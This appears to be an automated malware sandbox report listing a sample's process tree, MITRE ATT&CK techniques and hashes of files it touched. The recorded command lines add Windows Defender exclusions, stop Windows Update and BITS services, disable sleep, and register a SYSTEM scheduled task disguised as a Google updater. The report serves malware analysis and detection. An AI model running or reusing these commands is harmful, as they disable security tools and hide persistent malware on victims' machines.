"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,7748139643960988048,3495767843471212457,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
5⤵
PID:6312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:6288

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:7164

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:6292

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2164

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Loads dropped DLL
- Launches sc.exe
PID:6456

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1212

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3168

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:6308

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:3124

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:6192

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:6676

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:6812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:4772

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
2⤵
PID:4696

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:6684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:5280

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:5404

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:5216

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:7076

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:5340

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:5880

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:6844

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:6316

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:5196

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:4980

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2736

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:3048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
2⤵
PID:7044

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2100

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
PID:2108

C:\Windows\explorer.exe
C:\Windows\explorer.exe
2⤵
PID:6296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2812 -ip 2812
1⤵
PID:664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 2460 -ip 2460
1⤵
PID:2972

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4428

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8ae346f8,0x7ffa8ae34708,0x7ffa8ae34718
1⤵
PID:6476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
PID:6292

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:3124

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1324

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2452

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
1⤵
PID:1688

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:5576

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
03bb99fa5aa995be0ecef71e9ba45da5

SHA1
a8a427d417bbf4d81c680fb99778b944fcaa7c64

SHA256
2f6b02df4ee6c72702f6d894b00de0eba5961cb71317afa1114801503f489101

SHA512
b62c8be1026527175c1f49c9015c12d3c7749b0525ebdeb72b3044bc8531e455be9bcc00cbb06a742b528716b60cfe616a7817f5962664b51fef61115f951a1a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
37283b22aa2ab3e572b288a4d3e9b59e

SHA1
76ed04e5c29334a0aad5c0029660634318229758

SHA256
02fe1287d0bcda1f1e7aee7c12d6f9fa8bc5653389cd9e2b2737ae12103c34e4

SHA512
ad1da00685e8c2819de8ad53552c0c729df75bd675c56d7d6ce8055586fa388cda682a4b6231505255425f83a57b6f977c852849538f610b6efd37fcac879d6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
a7f568a3d32bd441e85bc1511092fbe0

SHA1
89fbee8e2eb6d74cc3ad66ae3ba6c7f25dce33d2

SHA256
0d60fa886bcba8089cbdc944265c78bddf1a77f28820f5314eba6c83f44c913a

SHA512
8fc5e847481d2bfbb6c0d70a1f152c43fe152d4c4aa8ec61988136945da0af944e4643adafad64a754b9b7f4d117e368916140e8275fc7568e150a98fe570779

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
aed593b08b94f34dd8f68fd369652ac2

SHA1
3ce2a17e426e09c2fd9a8d2ab191fe29248f2d95

SHA256
5c0cdd5dc1bccf7e3ffa8568fdd2fe35f3edc85832f3d11331aced965aaeeba7

SHA512
16b34c29d8ea3793f7d4491847d2fecae2c6c9d7b7b1ec16d1367828d0a4da4cdbf912c2040bc0ca98ac32cd701355ddd16b4865629d51bae2527e1a05411137

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000040
Filesize
186KB

MD5
4a2977698422c3c6e58b664643322efa

SHA1
939e0f3f916f936be7c8c49121d8f245b99cab1b

SHA256
d60610d21436821de350b6e21d3915e5ea1617d97cf20f7aaa1d5ae782cc4cd8

SHA512
ca9d91650de72ff1faed43344dbc86ea3e81d4fd615b89347d31c7676fde084ddcae30a9dbfa3b341ec32b00966004fe7d6d96e383b18363ebd8f02b982ffd57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_twitter.com_0.indexeddb.leveldb\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
5fe14adbd94dac5d6760cc41abc2887b

SHA1
5e4c523cc1879580bb367989116897e59ed83424

SHA256
b76444d9a8504ece8b8fb7b1c6172520e197a79ee069da5e445a99063ea2c596

SHA512
5b2f322eec33b95a69a425022e669cadf18f3d466317c7026e6187fd57ff2ebca69999605d53128918c77d1101e232248c1b8643c794fb2c9d67dc64e495185d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
34ef33f64000f5a1436086506c56ded0

SHA1
556db30c16868023e4a7d100de849426ff417b10

SHA256
f90c276f6b31e6c54572271ec6738cb971fd06fc83862c31eeefad95db1d3cbe

SHA512
090937c314223d182fdd20575539eaa0072f5d9e36236173f4deddb7fe70db7a9962a368c5f793110fbe6d12ba3b40424f7c42353f2124902ef165e3555a792f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
23b2ad881ab5afdf8e0d6b8c57d7c9a5

SHA1
f865f9ebf07434d2a7443079d4ca391c26df9d4f

SHA256
64707540356f47802346885a67151e4ebfaa2564e29c08e65eddd550d5c346d5

SHA512
9457ab5de01e136cb2383dfed4affbabed226cea328d9dd4c0602075cc4d652543962424e6d17f51d834ad028550cab3622f84f35929c46bb09e1e7386ab8a3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
f9c7864b0ad4e1afe43b0ce84d82aa38

SHA1
7980a95a37885ea5da9ca2806f02c413a9f8f826

SHA256
ab95fb2044896fe72475171cde46b0884a895008cd7e815810b9878bf73ca758

SHA512
774316e2143280524ee000276afd96fc5c5cad0e0f582a249017cb29fb04eff4a6b85e8fab3cd8311e13eae92b1cd9536344fad5cc8e567f3b33ef38d2ba16b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
8KB

MD5
b08dfcac0f118d04ce4201b1a034a53f

SHA1
3364be755bbdad2e60d1efb512444017d758e8df

SHA256
6a47f027b14aa80b141ed4c8e721ee5bb574442bf06ec53667ef3ce68b69f9eb

SHA512
6a764889dda64d160edf04a565637192c465fc5b6a9ad92e403bb7154910607987b4dc4758899903172c2fbadae5bdedd2e797252ae51c9abe09d2e26ea1699a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
9KB

MD5
216d6c83aebd13447d0c1c0310d81748

SHA1
a8f64c2d192d4fce104b7566e6e90a5bbde9515c

SHA256
3eddb7fb068ea487ce95fb605d0f5ea6e7a0bdcf1f0575c015a404eaba5af693

SHA512
bae3a3796440d08e52c1d78b62ce8549724c231a68a3a9e3b0c2692d8928315a072b0066c0b64e7f35599b30d731c90db09495f0056baa6f1a03414646ad53ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
9KB

MD5
e83d9435412915127e81065d0c52f77a

SHA1
6da74682fcb120de6bdcdf314a86dcd1f613a55e

SHA256
d720bf923fbe7e7aae83b9c696c1c14792fb141a0bd74588aceeeda1d52b4ade

SHA512
124d3e977523c218e150baf94cfe6d3a460d3f77bee27545b9d1795d6ed936f7ddb06309c3ed3c96a6ce7d8d87fc472ed748eed8843a7447d21bf5eac4922a25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
9KB

MD5
38a19c3fda9d69ee373be423ccdf80ea

SHA1
4e3df6c0062b3783b72c0512e821d950ab679dfd

SHA256
ffa59f770af6d9368a9925c233ae1bfc89c6615a08ab457051381e534a6cd269

SHA512
34bb01b5b4ca8fed9fb0e16373a4a7abd426d9da558156677d77703b9194f523ef500f9c82fa376ad9808e89302e2e0423971394f3cf42079b170e6b223ea0c1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Filesize
24KB

MD5
e2565e589c9c038c551766400aefc665

SHA1
77893bb0d295c2737e31a3f539572367c946ab27

SHA256
172017da29bce2bfe0c8b4577a9b8e7a97a0585fd85697f51261f39b28877e80

SHA512
5a33ce3d048f2443c5d1aee3922693decc19c4d172aff0b059b31af3b56aa5e413902f9a9634e5ee874b046ae63a0531985b0361467b62e977dcff7fc9913c4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Filesize
89B

MD5
1b66004d31746992e8dfb4895fc8af9a

SHA1
4607d45a0807152d288777ce544c4534c1549c26

SHA256
c04b86dc55bcea8e7ae05db07fe7d959184384621ac830086b8d5888788e4a5b

SHA512
c05b5e207017c0972014e26c690c7306d530c7012d6a3ea63cde2113309da552a0a19280cd378ce937c985367ba1d122b329e86b68d8c40cfb88e5f06b71b4f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Filesize
82B

MD5
984a00b9ac853e7de99c11d1f41caf9e

SHA1
92bf2debb62e5376797fe094152c1984a0e59121

SHA256
8c8a6fbbe0d3d6603d3eeb7a37a22f742feffb9fd295eca740b022de2bb59114

SHA512
913404f289cc1d2a77618329920c1dea5c09f09289ba0ec426f75cf422fc89eb98f2a5a992149083a2bc5b54db465d0b093d04bff96739aec33d7b5d28a4cd52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Filesize
146B

MD5
de2333b7ff6b6f63f76c31b1723f1f80

SHA1
60e8ba6a3fd939279459a82764c068a1394e60c5

SHA256
46b4bacda580c199c7099a258c48fa6153c80a31f5d2491f802b13f5abd41957

SHA512
900146569e62708b7026c31f909e2caffd5bf2466da60026a5f5308d28c179677a8b68c6002c7628f7fed247bb865a84b41054c4b6140121413f8ca04f1388f1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
2KB

MD5
d0edb1f884cf853cd6049a4a4b764025

SHA1
47dba0ad4b71e8d046c5a9332806815bf41e9811

SHA256
a191cdec21d6700434f12f642c4cca81c1c1fb516603e456a18d0a057c5aba31

SHA512
a45c280ccee2df9383291295350f34d0ad963c21399b7e92a92f42a3586bc86f77e1b3ef8498f8ee165635bed967f1e2d46b7838ccbb8c123541e3eb49f48c37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
2KB

MD5
11805c14b8e1933ef8e775105c21e9cb

SHA1
f73db249e0c47c9d14161ee1d6fda5f298cc8cf8

SHA256
a14d46cdd6873516e62d51195ccf7a0e8ee301cd3bfb2c557d9ccc5df6496979

SHA512
091c71762e7c33afef0473837361e72ca6d26c38dc2edcd373d2c40035f8885e10fd26208bfd1e34bef159137e63240e016aa88cd93f9f5927c1d89abc2eaa10

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
3KB

MD5
c3dd9e7da1017b44f5c2508a7fe335aa

SHA1
83fcf07281d8c6da7b13f08743846c65c81af8bd

SHA256
47e4f42dcda0de0098ae0562dc3c5d2f5638dfc56631f665c1ccf425c4ef7b96

SHA512
675210c4d2aaf42ff22bcff55cfa0a0738b0f8955c835d37b043755c2941d494afa9e44db4b161d5bb87c04b5dbc35f603b92a8a4658ab1cf442caf9758f9763

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
d943996ba75aa1d844c107cf749d0041

SHA1
f949b5b99337f4cac7ef16546f25cdb5b759e925

SHA256
4a307b30f74493540f13a2e4b352ff1211d82a1c4d34a683b366137b1fb7b0fa

SHA512
56a6102940c5a39352a1fe96535f7dffd8fc81379e0126f3a07cff8f9b6b6b5345e1c6fce9dc11137363eb4e6cc630c62c6ba4d825a295f49f36187721b2dabd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
2KB

MD5
3af1d7d4ce5a27eaa09b6e9005724167

SHA1
f4aeccf7955d601bdef286e946956dd6a7cbc976

SHA256
4fba104afad530f02e80bff1af423ef995b6bccaa6fd2cd2c4c0c37154d3b751

SHA512
5bfc1e40a8571a03db451469a2f07037714e793065983d76df5cc590b9a85237e2a3817947a0a8d2cc2254f9510993b4359b514b6d75414733de14088e2b6dd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
2KB

MD5
3af1d7d4ce5a27eaa09b6e9005724167

SHA1
f4aeccf7955d601bdef286e946956dd6a7cbc976

SHA256
4fba104afad530f02e80bff1af423ef995b6bccaa6fd2cd2c4c0c37154d3b751

SHA512
5bfc1e40a8571a03db451469a2f07037714e793065983d76df5cc590b9a85237e2a3817947a0a8d2cc2254f9510993b4359b514b6d75414733de14088e2b6dd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
2KB

MD5
8da4c3a4dc1c369ee12db9fed7d502c6

SHA1
ebb4ac197f5ad7ce56baed8f22b6b66f1ee4b9da

SHA256
df52ea9dfc318268f2f540926170d54fde16942cdbd84143466382d436412dba

SHA512
6d57e347a0de7fb1c06e9fdb0e5e0737e057284502294dc47a2d6608717cb96c9258b51013217fadf8d2ed5adbb4b371191515501db1907564720023f38e9b54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
2KB

MD5
8da4c3a4dc1c369ee12db9fed7d502c6

SHA1
ebb4ac197f5ad7ce56baed8f22b6b66f1ee4b9da

SHA256
df52ea9dfc318268f2f540926170d54fde16942cdbd84143466382d436412dba

SHA512
6d57e347a0de7fb1c06e9fdb0e5e0737e057284502294dc47a2d6608717cb96c9258b51013217fadf8d2ed5adbb4b371191515501db1907564720023f38e9b54

Download Submit
